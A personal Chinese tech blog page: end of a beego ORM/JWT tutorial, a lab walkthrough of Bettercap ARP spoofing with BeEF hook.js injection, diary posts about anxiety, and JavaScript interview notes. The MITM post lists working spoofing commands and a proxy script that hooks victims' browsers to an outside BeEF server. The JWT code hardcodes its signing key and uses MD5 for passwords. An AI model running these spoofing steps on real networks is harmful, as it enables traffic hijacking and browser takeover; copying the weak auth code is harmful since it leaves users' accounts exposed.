	beego.AddFuncMap("Md5Encode", models.PassEncode)
	beego.AddFuncMap("ComparePass", models.ComparePass)

ORM引入

beego官方提供了自己的orm库，用就完事。

go get github.com/astaxie/beego/orm

package main
// main.go
import (
	"beegodemo/models"
	_ "beegodemo/routers"
	"github.com/astaxie/beego"
	"github.com/astaxie/beego/context"
	"github.com/astaxie/beego/orm"
	_ "github.com/go-sql-driver/mysql"
)

// 注入ORM
func init() {
  // 参数1   driverName
  // 参数2   数据库类型
  // 这个用来设置 driverName 对应的数据库类型
  // mysql / sqlite3 / postgres / tidb 这几种是默认已经注册过的，所以可以无需设置
	orm.RegisterDriver("mysql", orm.DRMySQL)

  // 参数1        数据库的别名，用来在 ORM 中切换数据库使用
  // 参数2        driverName
  // 参数3        对应的链接字符串
	orm.RegisterDataBase("default", "mysql", "beego:beegogo@/beego?charset=utf8") // 用户名:密码@/数据库名?charset=utf8
}

func main() {
	var FilterToken = func(ctx *context.Context) {
		beego.Info(ctx.Input.Header("Authorization"))
	}
	beego.InsertFilter("/*", beego.BeforeRouter, FilterToken)
	beego.AddFuncMap("unixToDate", models.UnixToDate)
	beego.AddFuncMap("DateToUnix", models.DateToUnix)
	beego.AddFuncMap("Md5Encode", models.PassEncode)
	beego.AddFuncMap("ComparePass", models.ComparePass)
	beego.Run()
}

Use使用

在项目目录models下新建一个models.go文件即注册一个模型，代码片段如下

package models

import (
	"github.com/astaxie/beego/orm"
	_ "github.com/go-sql-driver/mysql"
	"time"
)

// 定义User结构体, 第一个字段会被作为自增pkey
type User struct {
	Id         int
	Username   string
	Password   string
	Created_at time.Time `orm:"auto_now_add;type(datetime)"`
	Updated_at time.Time `orm:"auto_now;type(datetime)"`
}

func init() {
	orm.RegisterDataBase("default", "mysql", "beego:beegogo@/beego?charset=utf8")
	orm.RegisterModel(new(User)) // 实例化User结构体 RegisterModel 也可以同时注册多个model
	orm.RunSyncdb("default", false, true) // 自动迁移
}

Simple简单的增删查改

    ormCase := orm.NewOrm()
	pass := models.PassEncode(this.GetString("password"))
	user := models.User{}
	user.Username = this.GetString("username")
	user.Password = pass

    // 增
	ormCase.Insert(&user)
	// 改
	user.Password = "change password"
	ormCase.Update(&user)
	
	// 查
	find := new(User)
	find.username = "find"
	ormCase.Read(find)
	
	// 删
	delete := new(User)
	delete.Id = 1
	ormCase.Delete(delete)

Add添加JWT认证以及过滤器

首先引入jwt

go get github.com/dgrijalva/jwt-go

框架中引入jwt

import (
	"fmt"
	"github.com/astaxie/beego"
	"github.com/dgrijalva/jwt-go"
)

Code编写jwt结构体以及相应方法

package models

import (
	"fmt"
	"github.com/dgrijalva/jwt-go"
	"regexp"
	"time"
)

const (
	KEY                    string = "JWT-ARY-STARK" // 秘钥
	DEFAULT_EXPIRE_SECONDS int    = 600             // 默认过期时间（s）
)

// JWT -- json web token
// HEADER PAYLOAD SIGNATURE
// This struct is the PAYLOAD
type MyCustomClaims struct {
	User
	jwt.StandardClaims
}

//刷新jwt token
func RefreshToken(tokenString string) (string, error) {
	// first get previous token
	token, err := jwt.ParseWithClaims(
		tokenString,
		&MyCustomClaims{},
		func(token *jwt.Token) (interface{}, error) {
			return []byte(KEY), nil
		})
	claims, ok := token.Claims.(*MyCustomClaims)
	if !ok || !token.Valid {
		return "", err
	}
	mySigningKey := []byte(KEY)
	expireAt := time.Now().Add(time.Second * time.Duration(DEFAULT_EXPIRE_SECONDS)).Unix()
	newClaims := MyCustomClaims{
		claims.User,
		jwt.StandardClaims{
			ExpiresAt: expireAt,
			Issuer:    claims.User.Username,
			IssuedAt:  time.Now().Unix(),
		},
	}
	// generate new token with new claims
	newToken := jwt.NewWithClaims(jwt.SigningMethodHS256, newClaims)
	tokenStr, err := newToken.SignedString(mySigningKey)
	if err != nil {
		fmt.Println("generate new fresh json web token failed !! error :", err)
		return "", err
	}
	return tokenStr, err
}

//验证jtw token
func ValidateToken(tokenString string) (info User, err error) {
	token, err := jwt.ParseWithClaims(
		tokenString,
		&MyCustomClaims{},
		func(token *jwt.Token) (interface{}, error) {
			return []byte(KEY), nil
		})
	if claims, ok := token.Claims.(*MyCustomClaims); ok && token.Valid {
		//fmt.Printf("%v %v", claims.User, claims.StandardClaims.ExpiresAt)
		//fmt.Println("token will be expired at ", time.Unix(claims.StandardClaims.ExpiresAt, 0))
		info = claims.User
	} else {
		fmt.Println("validate tokenString failed !!!", err)
	}
	return
}

//获取jwt token
func GenerateToken(info *User, expiredSeconds int) (tokenString string, err error) {
	if expiredSeconds == 0 {
		expiredSeconds = DEFAULT_EXPIRE_SECONDS
	}
	// Create the Claims
	mySigningKey := []byte(KEY)
	expireAt := time.Now().Add(time.Second * time.Duration(expiredSeconds)).Unix()
	fmt.Println("token will be expired at ", time.Unix(expireAt, 0))
	// pass parameter to this func or not
	user := *info
	claims := MyCustomClaims{
		user,
		jwt.StandardClaims{
			ExpiresAt: expireAt,
			Issuer:    user.Username,
			IssuedAt:  time.Now().Unix(),
		},
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	tokenStr, err := token.SignedString(mySigningKey)
	if err != nil {
		fmt.Println("generate json web token failed !! error :", err)
	} else {
		tokenString = tokenStr
	}
	return
}

// return this result to client then all later request should have header "Authorization: Bearer  "
func GetHeaderTokenValue(tokenString string) string {
	//Authorization: Bearer 
	tokenRegExp := regexp.MustCompile(`Bearer (.*)`)
	finalToken := tokenRegExp.FindStringSubmatch(tokenString)
	return finalToken[1]
}

Use使用

package controllers

import (
	"beegodemo/models"
	"fmt"
)

type UserController struct {
	MainController
}

// 获取token
func (this *UserController) Get() {
	user := models.User{Id: 1, Username: "fuzzy"}
	token, err := models.GenerateToken(&user, 0)
	if err != nil {
		fmt.Println(err)
	} else {
		// 获取jwt
		this.Ctx.WriteString(token)
	}
}

// 验证token
func (this *UserController) Check() {
	token := "token"
	info, err := models.ValidateToken(token)
	if err != nil {
		this.Ctx.WriteString(err.Error())
		this.StopRun()
	}
	fmt.Println(info)
	this.Ctx.WriteString("success")
}

Register注册过滤器

func main() {
	FilterToken := func(ctx *context.Context) {
		beego.Info(ctx.Input.Header("Authorization"))
		
		// 过滤不需要验证的地址
		if ctx.Request.RequestURI != "/login" && ctx.Input.Header("Authorization") == "" {
			logs.Error("without token, unauthorized !!")
			ctx.ResponseWriter.WriteHeader(401)
			ctx.ResponseWriter.Write([]byte("no permission"))
		}
		if ctx.Request.RequestURI != "/login" && ctx.Input.Header("Authorization") != "" {
			token := models.GetHeaderTokenValue(ctx.Input.Header("Authorization"))
			logs.Info("curernttoken: ", token)
			info, err := models.ValidateToken(token) // 验证token
			if err != nil {
				ctx.WriteString(err.Error())
				ctx.Redirect(401, "/")
			}
			logs.Info(info)
		}
	}
	beego.InsertFilter("/*", beego.BeforeRouter, FilterToken) // 注册过滤器,beego.BeforeRouter会在寻找路由之前进行过滤处理
	beego.AddFuncMap("unixToDate", models.UnixToDate)
	beego.AddFuncMap("DateToUnix", models.DateToUnix)
	beego.AddFuncMap("Md5Encode", models.PassEncode)
	beego.AddFuncMap("ComparePass", models.ComparePass)
	beego.AddFuncMap("GenerateToken", models.GenerateToken)
	beego.AddFuncMap("ValidateToken", models.ValidateToken)
	beego.AddFuncMap("GetHeaderTokenValue", models.GetHeaderTokenValue)
	beego.Run()
}

至此，jwt验证流程结束。

手撕beego也就到这里，之后会编写项目来加深熟练度和规范代码。

MITM中间人攻击-Bettercap + beef xss的组合拳

LeslieLin — Sat, 24 Apr 2021 12:20:07 GMT

0x01 写在前面

好几年没有接触过安全了，为什么又接触回来是因为一位朋友，动了对校园网进行内网和WEB渗透测试的心思，咨询了相关老师并未拿到授权，好吧，自己搭环境找一下感觉。

0x02 Bettercap简介

bettercap是一个功能强大、易于扩展和便携的框架，用Go编写，旨在为安全研究人员、红队队员和逆向工程人员提供一个易于使用的一体化解决方案，其中包含执行侦察和攻击WiFi网络、蓝牙低能耗设备所需的所有功能，无线HID设备和IPv4/IPv6网络。

0x02.1 主要特点

WiFi网络扫描、反认证攻击、无客户端PMKID关联攻击和自动WPA/WPA2客户端握手捕获。
蓝牙低能耗设备扫描，特征枚举，读写。
2.4Ghz无线设备扫描和鼠标点击攻击，通过空中HID帧注入（支持DuckyScript）。
被动和主动IP网络主机探测和侦察。
ARP、DNS、DHCPv6和NDP欺骗，用于对基于IPv4和IPv6的网络进行MITM攻击。
包级别、TCP级别和HTTP/HTTPS应用程序级别的代理完全可以通过易于实现的javascript插件编写脚本。
一个强大的网络嗅探器，用于获取证书，也可以用作网络协议模糊器。
一个非常快速的端口扫描器。
一个强大的restapi，支持websocket上的异步事件通知，可以轻松组织攻击。
易于使用的web用户界面。
等等...

0x02.2 安装

这里我采用官方文档给的编译安装，KALI自带bettercap。

环境要求

go >= 1.8

go get github.com/bettercap/bettercap
cd $GOPATH/src/github.com/bettercap/bettercap
make build
sudo make install

0x02.3 官方模块

Core
- events.stream
- ticker
- caplets
- update
- api.rest
- ui
- c2
Bluetooth LE
WiFi
HID on 2.4Ghz
IPv4 / IPv6
- net.recon
- net.probe
net.sniff - net.fuzz
- syn.scan
- wake on lan
Spoofers
Utils
- mac.changer
- gps

0x02.4 使用

好家伙，Bettercap最新版已经带WebUI了，不过还是喜欢命令交互式。

sudo bettercap -caplet http-ui # 运行bettercap

交互模式下键入help获取帮助信息

0x03 Beef简介

BeEF是浏览器开发框架的缩写。它是一个专注于web浏览器的渗透测试工具。

随着人们越来越担心针对客户端（包括移动客户端）的网络攻击，BeEF允许专业渗透测试人员使用客户端攻击向量来评估目标环境的实际安全态势。与其他安全框架不同，BeEF超越了加固的网络边界和客户机系统，并在一扇打开的门：web浏览器的上下文中检查可利用性。BeEF将钩住一个或多个web浏览器，并将它们用作启动定向命令模块的滩头阵地，并从浏览器上下文中进一步攻击系统。

0x03.1 安装与运行

git clone https://github.com/beefproject/beef.git # git下载beef源码
cd beef-master
sudo ./install # 执行安装程序
./beef # 运行beef GUI

0x04 组合拳开始！

了解了bettercap和beef的安装和基本使用后，我们进入正文。

0x04.1 思路

使用bettercap进行arp欺骗并注入beef的hook js

0x04.2 bettercap操作

用到的模块:

arp.spoof
http.proxy
https.proxy
net.probe

其中http.proxy和https.proxy模块可以使用javascript文件编写模块脚本，且文件必须至少声明以下函数之一：

// 在加载脚本时调用
function onLoad() {
  log("Script loaded!");
}

//当代理接收到请求时调用
//在发送到真正的服务器之前
function onRequest(req, res) {

}

//当请求被发送到实际服务器时调用
//收到回复
function onResponse(req, res) {

}

//每次键入未知会话命令时调用，
//代理模块可以选择以下方式处理自定义命令：
function onCommand(cmd) {
    if( cmd == "test" ) {
        /*
         * Custom session command logic here.
         */

        // tell the session we handled this command
        return true
    }
}

0x04.3 改写自己的JS脚本

在进行arp欺骗之前，准备工作改写一个JS脚本方便在bettercap使用http(s).proxy.script模块

// 未调用beef的hookjs

function onLoad() {
  log("Script loaded!");
}

function onResponse(req, res) {
    if( res.ContentType.indexOf('text/html') == 0 ){
        var body = res.ReadBody();
        if( body.indexOf('') != -1 ) {
            res.Body = body.replace( 
                '', 
                '' +
                ''
            ); 
        }
    }
}

// 使用beef的hook js
function onLoad() {
  log("Script loaded!");
}

function onResponse(req, res) {
    if( res.ContentType.indexOf('text/html') == 0 ){
        var body = res.ReadBody();
        if( body.indexOf('') != -1 ) {
            res.Body = body.replace( 
                '', 
                '' +
                ''
            ); 
        }
    }
}

将以上文本另保存为eval.js

0x04.4 配置bettercap相关模块参数并开启arp欺骗

在此之前先把beef跑起来，并为bettercap开启流量转发

./beef # 进入到beef目录下执行
echo 1 > /proc/sys/net/ipv4/ip_forward # 流量转发，不开流量转发，导致arp欺骗后受害者出现断网现象

Hook js url: http://10.211.55.4:3000/hook.js

UI URL: http://127.0.0.1:3000/ui/panel

sudo bettercap -caplet http-ui # 运行bettercap
set http.proxy.script /home/crack/eval.js # 刚刚改写的eval.js文件
http.proxy on # 运行http.proxy模块，此模块只劫持http协议
net.probe on # 激活后，此模块将向当前子网中的每个IP发送不同类型的探测数据包，以便net.recon模块来检测它们
arp.spoof on # 开启arp欺骗模块，默认对全网段主机进行arp欺骗，可以使用set arp.spoof.targets 192.168.1.x，欺骗指定目标之后再arp.spoof on

当靶机打开任意http网站就上钩了 ~可以看到bettercap命令交互界面已经有回显，且靶机也在beef上线了

使用beef的Create Alert Dialog模块测试在线，输入alert text并execute

此时靶机显示如下

0x04.5 遇到的问题

使用bettercap的http.proxy模块时靶机访问正常，而使用https.proxy模块时，靶机浏览器显示不受信任的证书，不予访问，目前还没有想到解决方法。

0x05 最后

beef可玩的姿势还很多，比如beef的Clippy模块加上msf的组合拳，这里不再做扩展，各位看官自行展开脑补。

博客安全类的第一篇水文，下次再见！

随便写写

LeslieLin — Mon, 01 Mar 2021 15:05:46 GMT

近期

说实话，过得真拧巴，自己不是满意的自己，生活也不是理想中的生活，一切的不如意，都快成了压倒自己的最后一根稻草，现在的状态就是一眼望到头的生活。

2021原来已经来到3月份了呢，而我依旧一事无成，每晚焦虑失眠到崩溃，好似于地狱人间折返。

学习

java已经打好了基础，做了不少的笔记，俗话说好记性不如烂笔头，再者自己的记忆力确实是下降了，基础之后接下来就是javaweb了，主要是以掌握SPRINGBOOT为小目标。2月26日四级成绩也出了，一次过挺好，虽然不是自己想要的成绩（裸考），不过把六级考好，四级成绩好不好也无所谓了。插本的想法一直根深蒂固，争取插本上岸，考取八级。

生活

老实说，真的有点撑不下去。没什么说的了。

生活可能不是你想象的那么好，
但也不是你想象中的那么糟，
人的脆弱和坚强都超乎自己的想象。
有时候可能脆弱得一句话就泪流满面，
有时候你发现自己咬牙
已经走过了很长的路。

仅以此段激励自己，想到什么再补充吧。

工作

一如既往的不稳定，其实项目越多越好，累垮身体也无所谓。不过最近好像上天给我的机会来了，希望我好好把握。

In The End

我始终相信，一分耕耘，一分收获。

2020年总结与新年计划

LeslieLin — Wed, 23 Dec 2020 12:47:43 GMT

Chapter 1 前言

永远热爱生活，永远期待明天。

（2020年11月15日）凌晨，我打开了电脑写起了笔记，杯子里的热水冒着热气，眼睛一闭思绪纷飞，脑海中闪过一个个画面，不知不觉，已是凛冽冬日。世界上最快而又最慢，最长而又最短，最平凡而又最珍贵，最易被忽视而又最令人后悔的就是时间。

距离新的一年，还剩下9天，为什么要提前写总结和计划，是因为在这9天里，我也不会有什么突破性的成长了。

Chapter 2

查阅去年立下的目标，有一个目标没有完成（因为还不知道结果，不过结果会是完成的），所以到年底为止，自我学习收益感觉不错，如果要打分的话，我想应该是良好以上，优秀未满。
去年目标（打x代表已完成目标）：

[x] 健身
[x] 控制脾气
[x] 过四级
[x] 学习JAVA
[x] 深入JS学习
[x] 深入vue3学习

Chapter 3

其实到现在吧，花了大量的时间思考选择适合自己的后端语言，一位朋友跟我说，如果想赚钱就选JAVA吧，自己也写了一段时间的JAVA，感觉蛮适合自己，既然如此，以后就以JAVA为主，PHP作为自己后端的第二语言。

目前自身技术栈

Node.js

前端

JavaScript
TypeScript
React Native
UNI-App
Taro
Vue.js
React.js

后端

JAVA
PHP
GO
PYTHON
NESTJS
Springboot
beego
gin

工作

目前是一名兼职外包的WEB全栈工程师，虽然收入可观，但是不稳定。其实蛮想现在就出去实习，但是目前我的现状不允许。

真真正正作为一名WEB全栈工程师算起来也有1年了吧，写过的项目不少，积累的经验也不少。现在对于开发软件的态度和思路，有了质一样的飞跃。自我总结一下关于项目经验的几点：

明确项目到底是做些什么，有哪些功能？
明确项目的整体架构，能够清楚地画出来并指出从哪里调用到哪里、使用什么方式调用
明确模块在整个项目中所处的位置及作用
明确模块用到了哪些技术，更好一些的可以再了解一下整个项目用到了哪些技术

一些好习惯应该要坚持！

善于使用搜索

在写项目的时候，确确实实会遇到一些问题，询问无果后，我总会Google一下，最终得到答案。
勤记笔记

俗话说的好，「好记性不如烂笔头」，自我感觉自己的记性已经大不如前了，对于经常用到的东西还好，如果是冷门知识，虽然有印象，但一时想不起来具体了。在笔记的帮助下，项目中遇到的问题，我也可以快速翻阅得到答案。

最后，有时间的话，我会学习、研究一下SOA和RPC。

生活

现在算是作为一个freshman，公共课在之前调剂的专业都上过，基本来说可以让我空出很多的时间处理自己的事情。开学之后那段时间，确实忙得不可开交，经常饭点都顾不上，导致现在经常胃痛，有时候胃酸倒流，难受得不行，精神也是萎靡的。所以开学到现在一直坚持健身，效果是极好的，舍友也说变化很大。

说到焦虑，还是很难不去焦虑，突然就会自我崩溃，心悸，想不出来是为什么。有时候莫名的压力超出自己的承受能力导致自己丧失上进心，失去目标，变得迷茫。不过我会好好调节自己的。

Chapter 4

原本2020年是平淡无奇的一年，多得她的出现，让这不起波澜的日复一日，变得期待了起来，自己安排下去的事情，我总会完成，一切都有条不紊。新的一年来了，我也要开始制作新的计划了，我正在路上，在蜕变，以后也会更加强大。

2021年技术目标

[x] 继续深入Vue3学习
[x] 深入JAVA学习
[x] 学习PYTHON基础
[x] 掌握GO

2021年自身目标

[x] 继续坚持每日锻炼
[x] 生活要有仪式感
[x] 过六级
[x] 认真训练
[x] 提升英语口语

结语

晦涩又难通的语句拼合出整篇流水账文章，虽然没有华丽的辞藻，但也总算是对自己有个交代。
写到这里，就以最后的鸡汤作为结尾吧。
就以这段话自勉、共勉吧。越努力、越幸运，如果你不是官二代、富二代、红二代，那么请记住：勤奋才是改变你命运的唯一捷径。

后记

转眼间，2020年只剩最后7天了，在年末回望这特殊的一年，想必每个人都心有感慨。我们见证了乘风破浪、生命至上，也学会了勇敢攀登、迎难而上。
2020最后一周，即使有遗憾，也要相信未来、不负过往；即使所剩不多，也要珍惜时光、继续向上！

预祝大家新年快乐！

记近期

LeslieLin — Sun, 01 Nov 2020 06:24:52 GMT

近期

不知道从什么时候开始，我好像失去了方向，每天过得浑浑噩噩，每晚都辗转反侧，终于是睡着了，又到了第二天响午，出门吃午饭回来，又是在床上躺尸，等待着体育馆开门打球。我好像不再学习不再沉淀自己，几乎大部分的时间都是在对着手机。对一切都提不起兴趣，每天都抗拒面对生活，但是不得不面对。每天都很难受，可每天又要装作若无其事的样子。

转眼间已经是十一月了，上次发博文的时间已经是六月十二日，最近已经感觉到自己很不对劲，就在今天焦虑涌上心头，很强烈，想写点什么就记录下来。

生活

鼻炎还是老毛病，家人们都劝我去看看，但我就是不想去理它，因为我知道一旦焦虑了，吸鼻子就会特别厉害，久而久之，我也习惯了。也就在今年的第一学期开学，我最终还是选择了转专业，虽然是需要多读一年（相当于重读大一），但是我选择了就不后悔，我不想以后会后悔我没有选择转专业，因为旧专业，我是真的一点兴趣都没有，有的情绪甚至是恶心以及厌恶，我也更加坚信了兴趣是自己最大的老师，我相信，我会为了自己热爱的事情不遗余力。我原本以为自己已经是可以很好的控制自己的情绪和脾气，没想到还是太年轻。我知道暴脾气不好，但就挺难控制的，不知道下次爆发是什么时候。近期已经从生活慢慢改善，饮料也比之前少喝了很多，尽量喝温水。挺想找个时间出去散散心的，但是我又毫无目的地。
很多时候我都知道自己做的不对，但是事情都是双方的。我的的确确是做了错事，如果我的家人，我的朋友都不原谅我，别人怎么可能还原谅我？我不小了，不用太担心我去哪里我会怎样，我知错，我会改，我接收一切批评，但我也有我自己想做的事情啊。任何事情的结果都是商量来的，如果有一方不同意，那我就只能一意孤行，就算再孤独，又怎样？
我知道我明白现在生存越来越难，但我不想让自己更难过，好好努力让自己下半生更好过吧。其实有时候我挺恨为什么会来到这个世界的。
今天确确实实的特别焦虑，不知道是为什么，又好似在害怕什么。

工作

大一开始就算是真正做私人外包的开始，一直做到现在，我只觉得外包太不稳定了，虽然酬劳是高，但是基于种种因素造成了各种的不稳定，比如客户的拖延。在这个过程中，给我最大的一个感受就是作为一名程序员，不仅要懂写，更要懂除代码以外方方面面的东西，否则无从下手。其实也蛮心力交瘁的，也由于失眠的原因，我更加习惯了熬夜写代码，确确实实生活节奏乱了。偶然间和一个做安全的朋友聊起，说他们那边需要开发人员，想内推我过去，据说工作转正之后是1.5w，实话说，挺心动的，但我现在又还没毕业，再加上又转了专业，还要想着专插本，想了想，我还是先拿了毕业证比较稳妥。随着技术的迭代，我也需要更新自己的技能，自学新框架，最近也在熟悉JAVA的SPRINGBOOT，有这个意向掌握JAVA，毕竟我觉得PHP已经不能满足我了。目前前端掌握了REACT\VUE\UNIAPP\HTML\CSS\JS，后端掌握了PHP\NESTJS（我愿称之为小JAVA）。颓废了那么久，也该收拾心情，重新出发了。

最后

Be strong,because things will get better.It might be stormy now,but it can't rain forever.

可能遇到的JavaScript笔试题

LeslieLin — Fri, 12 Jun 2020 11:19:13 GMT

1. 简述javascript原型、原型链？有什么特点

每个函数都有一个 prototype 属性,函数的 prototype属性指向了一个对象，这个对象正是调用该构造函数而创建的实例的原型

那什么是原型呢？你可以这样理解：每一个JavaScript对象(null除外)在创建的时候就会与之关联另一个对象，这个对象就是我们所说的原型，每一个对象都会从原型"继承"属性。

这是每一个JavaScript对象(除了 null )都具有的一个属性，叫 __proto__，这个属性会指向该对象的原型。

原型链解决的主要是继承问题。

每个对象拥有一个原型对象，通过 proto 指针指向其原型对象，并从中继承方法和属性，同时原型对象也可能拥有原型，这样一层一层，最终指向 null(Object.proptotype.proto 指向的是null)。这种关系被称为原型链 (prototype chain)，通过原型链一个对象可以拥有定义在其他对象中的属性和方法。

2. 解释javascript中的作用域和变量声明提升

作用域是指程序源代码中定义变量的区域。作用域规定了如何查找变量，也就是确定当前执行代码对变量的访问权限。

变量声明提升：

foo;  // undefined
var foo = function () {
    console.log('foo1');
}
 
foo();  // foo1，foo赋值

可以想象成：所有的声明（变量和函数）都会被“移动”到各自作用域的最顶端。

3. 如何实现数组的随机排序

var arr = [1,2,3,4,5,6,7,8,9,10];
var newArr = [];
let length=arr.length
for(let i=0;i


4. 谈谈this对象的理解，call()和apply()的区别
call和apply的区别在于传入参数的不同； 第一个参数都是，指定函数体内this的指向；
第二个参数开始不同，apply是传入带下标的集合，数组或者类数组，apply把它传给函数作为参数，call从第二个开始传入的参数是不固定的，都会传给函数作为参数。
call比apply的性能要好，平常可以多用call。call传入参数的格式正是内部所需要的格式。
5. 什么是闭包？为什么要用它？
闭包：函数 A 返回了一个函数 B，并且函数 B 中使用了函数 A 的变量，函数 B 就被称为闭包。
作用有:
1、形成块级作用域
2、变量私有化
3、不污染全局变量
4、函数自执行
6. new操作符到底干了什么？


创建一个新对象


这个对象会链接到它的原型:obj.proto = Con.prototype


绑定this（apply），属性和方法被加入到 this 引用的对象中。并执行了构造函数中的方法.


函数没有返回其他对象，那么this指向这个新对象，否则this指向构造函数中返回的对象。


7. 简述几种ES5继承的方法
实现继承，主要是依靠原型链来实现的.

构造函数

保证了原型链中引用类型值的独立,不再被所有实例共享;
子类型创建时也能够向父类型传递参数.


组合继承 组合继承, 有时候也叫做伪经典继承,指的是将原型链和借用构造函数的技术组合到一块,从而发挥两者之长的一种继承模式.

组合继承其实调用了两次父类构造函数,


寄生式继承
寄生组合继承

8. 如何实现深拷贝
常用：使用JSON.parse(JSON.stringify(obj))
原理是把一个对象序列化成为一个JSON字符串，将对象的内容转换成字符串的形式再保存在磁盘上，再用JSON.parse()反序列化将JSON字符串变成一个新的对象
缺点是: 会忽略undefined、symbol、funciton
实现：递归+判断类型
一个简单的代码
// 数字 字符串 function是不需要拷贝的
function deepClone(value) {  
    if (value == null) return value;  
    if (typeof value !== 'object') return value;
    if (value instanceof RegExp) return new RegExp(value);  
    if (value instanceof Date) return new Date(value);  
    // 我要判断 value 是对象还是数组 如果是对象 就产生对象 是数组就产生数组  
    let obj = new value.constructor;  
    for(let key in value){    
        obj[key] = deepClone(value[key]); // 看一看当前的值是不是一个对象  
    }  
    return obj;
}

9、ES6 的 class 和构造函数的区别
class 的写法只是语法糖，和之前 prototype 差不多，但还是有细微差别的，下面看看：
1. 严格模式
类和模块的内部，默认就是严格模式，所以不需要使用use strict指定运行模式。只要你的代码写在类或模块之中，就只有严格模式可用。考虑到未来所有的代码，其实都是运行在模块之中，所以 ES6 实际上把整个语言升级到了严格模式。
2. 不存在提升
类不存在变量提升（hoist），这一点与 ES5 完全不同。
new Foo(); // ReferenceError
class Foo {}

3. 方法默认是不可枚举的
ES6 中的 class，它的方法（包括静态方法和实例方法）默认是不可枚举的，而构造函数默认是可枚举的。细想一下，这其实是个优化，让你在遍历时候，不需要再判断 hasOwnProperty 了
4. class 的所有方法（包括静态方法和实例方法）都没有原型对象 prototype，所以也没有[[construct]]，不能使用 new 来调用。
5. class 必须使用 new 调用，否则会报错。这是它跟普通构造函数的一个主要区别，后者不用 new 也可以执行。
6. ES5 和 ES6 子类 this 生成顺序不同
ES5 的继承先生成了子类实例，再调用父类的构造函数修饰子类实例。ES6 的继承先 生成父类实例，再调用子类的构造函数修饰父类实例。这个差别使得 ES6 可以继承内置对象。
7. ES6可以继承静态方法，而构造函数不能
10、javascript 的垃圾回收机制讲一下
定义：指一块被分配的内存既不能使用，又不能回收，直到浏览器进程结束。
JavaScript 在创建对象(对象、字符串等)时会为它们分配内存，不再使用对时会“自动”释放内存，这个过程称为垃圾收集。
内存生命周期中的每一个阶段:
分配内存 —  内存是由操作系统分配的，它允许您的程序使用它。在低级语言(例如 C 语言)中，这是一个开发人员需要自己处理的显式执行的操作。然而，在高级语言中，系统会自动为你分配内在。

使用内存 — 这是程序实际使用之前分配的内存，在代码中使用分配的变量时，就会发生读和写操作。

释放内存 — 释放所有不再使用的内存,使之成为自由内存,并可以被重利用。与分配内存操作一样,这一操作在低级语言中也是需要显式地执行。
四种常见的内存泄漏：全局变量，未清除的定时器，闭包，以及 dom 的引用

全局变量 不用 var 声明的变量，相当于挂载到 window 对象上。如：b=1; 解决：使用严格模式
被遗忘的定时器和回调函数
闭包
没有清理的 DOM 元素引用

11、async 和 await
主要考察宏任务和微任务，搭配promise，询问一些输出的顺序
原理：async 和 await 用了同步的方式去做异步，async 定义的函数的返回值都是 promise，await 后面的函数会先执行一遍，然后就会跳出整个 async 函数来执行后面js栈的代码
12、数组去重的方法
1.ES6 的 Set
复制let arr = [1,1,2,3,4,5,5,6]
let arr2 = [...new Set(arr)]

2.reduce()
复制let arr = [1,1,2,3,4,5,5,6]
let arr2 = arr.reduce(function(ar,cur) {
  if(!ar.includes(cur)) {
    ar.push(cur)
  }

  return ar
},[])

3.filter()
复制// 这种方法会有一个问题：[1,'1']会被当做相同元素，最终输入[1]
let arr = [1,1,2,3,4,5,5,6]
let arr2 = arr.filter(function(item,index) {
  // indexOf() 方法可返回某个指定的 字符串值 在字符串中首次出现的位置
  return arr.indexOf(item) === index
})

13、说说你对Promise的理解
所谓Promise，简单说就是一个容器，里面保存着某个未来才会结束的事件（通常是一个异步操作）的结果。从语法上说，Promise 是一个对象，从它可以获取异步操作的消息。Promise 提供统一的 API，各种异步操作都可以用同样的方法进行处理。
Promise对象有以下两个特点:

对象的状态不受外界影响，Promise对象代表一个异步操作，有三种状态：Pending（进行中）、Resolved（已完成，又称Fulfilled）和Rejected（已失败）
一旦状态改变，就不会再变，任何时候都可以得到这个结果。

14、请介绍一下XMLhttprequest对象
Ajax的核心是JavaScript对象XmlHttpRequest。该对象在Internet Explorer 5中首次引入，它是一种支持异步请求的技术。简而言之，XmlHttpRequest使您可以使用JavaScript向服务器提出请求并处理响应，而不阻塞用户。通过XMLHttpRequest对象，Web开发人员可以在页面加载以后进行页面的局部更新。
15、HTTP状态码及其含义
1XX：信息状态码
2XX：成功状态码
3XX：重定向
4XX：客户端错误
5XX: 服务器错误
16、请描述一下 cookies，sessionStorage 和 localStorage 的区别？
cookie是网站为了标示用户身份而储存在用户本地终端（Client Side）上的数据（通常经过加密）
cookie数据始终在同源的http请求中携带（即使不需要），记会在浏览器和服务器间来回传递
sessionStorage和localStorage不会自动把数据发给服务器，仅在本地保存
存储大小：

cookie数据大小不能超过4k
sessionStorage和localStorage虽然也有存储大小的限制，但比cookie大得多，可以达到5M或更大

有期时间：

localStorage 存储持久数据，浏览器关闭后数据不丢失除非主动删除数据
sessionStorage  数据在当前浏览器窗口关闭后自动删除
cookie  设置的cookie过期时间之前一直有效，即使窗口或浏览器关闭

17、XML和JSON的区别？
数据体积方面

JSON相对于XML来讲，数据的体积小，传递的速度更快些。

数据交互方面
JSON与JavaScript的交互更加方便，更容易解析处理，更好的数据交互

数据描述方面
JSON对数据的描述性比XML较差

传输速度方面
JSON的速度要远远快于XML

18、简述同源策略与跨域
同源策略是一种约定，它是浏览器最核心的也最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能会受到影响。

当协议，主机，和端口号有一个不同时，就是跨域。
19、跨域解决方案

（后端）服务器配置CORS(跨域资源共享)
（后端）node.js或nginx,反向代理，把跨域改造成同域
（前端）将JSON升级成JSONP,在JSON的基础上，利用